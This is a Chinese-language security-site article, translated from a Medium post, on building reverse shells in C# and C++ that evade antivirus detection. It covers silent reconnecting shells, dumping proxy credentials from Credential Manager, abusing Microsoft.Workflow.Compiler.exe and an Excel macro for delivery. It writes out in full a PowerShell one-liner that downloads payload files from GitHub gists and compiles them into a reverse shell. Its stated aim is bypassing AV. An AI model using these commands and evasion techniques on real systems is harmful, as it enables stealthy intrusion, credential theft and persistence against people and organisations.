freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

技术剖析 | 不可检测的C#、C++反向Shell
2018-12-21 13:00:42

在这篇文章中,我将跟大家分享如何利用C#和C++来开发反病毒产品无法检测到的反向Shell。

1.png

简单的C#反向Shell

GitHub上有很多能够通过cmd.exe打开反向Shell的C#代码样本。在这篇文章中,我会从GitHub上借鉴部分代码,然后用到了下面这个C#程序中。这个程序不能绕过AV,没有混淆代码,它能做的只有“在目标设备上打开socket,启动cmd.exe”:

2.png

源码链接:【GitHub传送门

3.png

我用netcat开启了监听模式(端口443),然后编译并执行我的代码。

4.png

你可以看到,.exe文件通过了Windows Defender的检测,说明从AV的角度来看,它不会执行任何恶意操作,这也是正常的扫描结果。

5.png

执行文件之后,你将会看到命令行窗口,关闭窗口之后Shell也就终止运行了。

6.png

运行exe文件之后,会直接在我的Kali上生成Shell。

VirusTotal检测结果

7.png

检测报告:【点我获取

C++反向Shell+一定程度的持续感染

搜索片刻之后,我发现了一份有类似反向Shell功能的C++代码。而且我还找到了@NinjaParanoid的代码,他的代码可以开启一个反向Shell,而且还有一定的持续感染特性【参考资料】。

这个脚本有三个主要优势:

1、 while循环可以每5秒尝试重连一次;

2、 不可见的cmd实例;

3、 如果标准攻击者IP发生变化,可自动获取新参数;

8.png9.png10.png

这份代码所要做的事情游走于“恶意”与“合法”之间,但是Windows Defender检测为“无威胁”。当你运行这个文件之后,Shell将会在5秒钟之后以“静默模式”打开。

11.png

对于用户来说,屏幕上啥也不会出现,但如果出现了问题,后台进程每5秒就会尝试自动重连我的Kali。

12.png

VirusTotal检测结果

13.png

检测报告:【点我获取

使用代理凭证通过网络开启C#反向Shell

在研究如何利用代理凭证并通过互联网从一个内部企业网络中打开反向Shell时,我开发出了下列代码:

1、 结合peewpw脚本在没有管理员权限的情况下从凭证管理器中导出代理凭证;

2、 对导出的凭证进行Base64编码;

3、 将它们插入到代理认证链接中;

14.png15.png

在编译代码之前,你需要目标企业网络开启代理IP/端口。出于安全考虑,我不会直接发布源码,如果你有一点编程能力的话,我相信你可以自己搞定。

观察之后我发现,这种攻击的失败率非常高,因为目标用户可能不会在凭证管理器中存储域凭证。

当然了,Windows Defender和其他企业级AV解决方案都无法检测这种攻击方式。

通过C#与Microsoft.Workflow.Compiler.exe即时编译打开反向Shell

在研究过程中,我找到了几篇关于如何在Microsoft.Workflow.Compiler.exe中执行任意未签名代码的文章,所以我想用这种技术来开启我的反向Shell(C#)。简而言之,为了即时编译我的C#代码,我需要使用到Microsoft.Workflow.Compiler.exe服务。下面是命令样本:

16.png

REV.txt的XOML结构如下:

17.png

下图中包含待编译C#代码的原始结构(Rev.Shell代码):

18.png

运行命令之后,会发生下面几件事情:

1、 非无文件型:C#源代码需要从Rev.Shell文件中获取;

2、 无文件型:C# Payload会被编译并执行;

3、 无文件型:Payload开启反向Shell;

19.png20.png

通过PowerShell和实时编译C#开启反向Shell

这都很简单,直接把文件交给Microsoft.Workflow.Compiler.exe来编译,那我们为什么不用PowerShell来实现呢?请看:

powershell-command "& { (New-ObjectNet.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt','.\REV.txt') }" && powershell -command "& { (New-ObjectNet.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell','.\Rev.Shell') }" &&C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exeREV.txt Rev.Shell

21.png

运行命令之后,PS将会下载上述的两份文件,然后存储在文件系统中。接下来,它们会使用Microsoft.Workflow.Compiler.exe来实时编译C#代码,并开启反向Shell。

PowerShell命令:【点我获取

REV.txt代码:【点我获取

Rev.Shell代码:【点我获取

22.png

通过Excel宏、PowerShell和C#实时编译开启反向Shell

现在,我想尝试把之前的PowerShell代码注入到宏文件中,你猜怎么着?

这个Excel文件并不会被检测为恶意文件,而且能够在不触发任何警报的情况下打开反向Shell。

23.png24.png25.png

VirusTotal检测结果

26.png

检测报告:【点我获取

总结

虽然打开反向Shell的方式有很多种,但是这篇文章主要的目标是绕过反病毒产品的检测。而前两种Shell是目前市场上所有AV都无法检测到的。 

*参考来源:medium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

# shell # C++
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者